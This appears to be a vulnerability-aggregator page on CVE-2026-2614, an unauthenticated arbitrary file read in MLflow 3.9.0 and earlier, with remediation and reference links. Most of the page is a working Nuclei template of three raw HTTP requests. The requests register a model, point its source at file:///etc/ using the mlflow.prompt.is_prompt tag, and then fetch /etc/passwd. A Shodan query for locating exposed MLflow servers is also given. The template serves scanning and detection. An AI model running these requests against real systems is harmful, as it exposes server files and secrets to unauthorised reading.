CVE-2026-2614: MLflow <= 3.9.0 - Arbitrary File Read

2026-08-16 MLflow PoC Public

Description

mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.

Details

CVE
CVE-2026-2614 · CVE.org
Severity
高危
Affected
MLflow
Published
PoC
Public

PoC

id: CVE-2026-2614

info:
  name: MLflow <= 3.9.0 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    mlflow mlflow <= 3.9.0 contains a path traversal caused by bypassing source path validation via the mlflow.prompt.is_prompt tag in CreateModelVersion request, letting unauthenticated remote attackers read arbitrary files.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.
  remediation: |
    Upgrade to version 3.10.0 or later.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories
    - https://github.com/mlflow/mlflow/commit/6e801f4259d96804c73107315b24cef0f6aa115a
    - https://huntr.com/bounties/19380271-3fbf-4beb-987e-6fd7069c55e6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-2614
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-2614
    epss-score: 0.03626
    epss-percentile: 0.89606
    cwe-id: CWE-22
  metadata:
    max-request: 3
    verified: true
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
  tags: cve,cve2026,mlflow,lfi,traversal,vkev

variables:
  model: "{{to_lower(rand_base(10))}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}"}

      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{model}}","source":"file:///etc/","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}

      - |
        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ee5327d6ee4304f0d279bca0cf143bd84260901afaba1a9aa50bb84edaeb45a1022100aedc9a2106ed7f85b065ace16ab7b561d8f2d4ac11d236831db4e7c26e325985:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life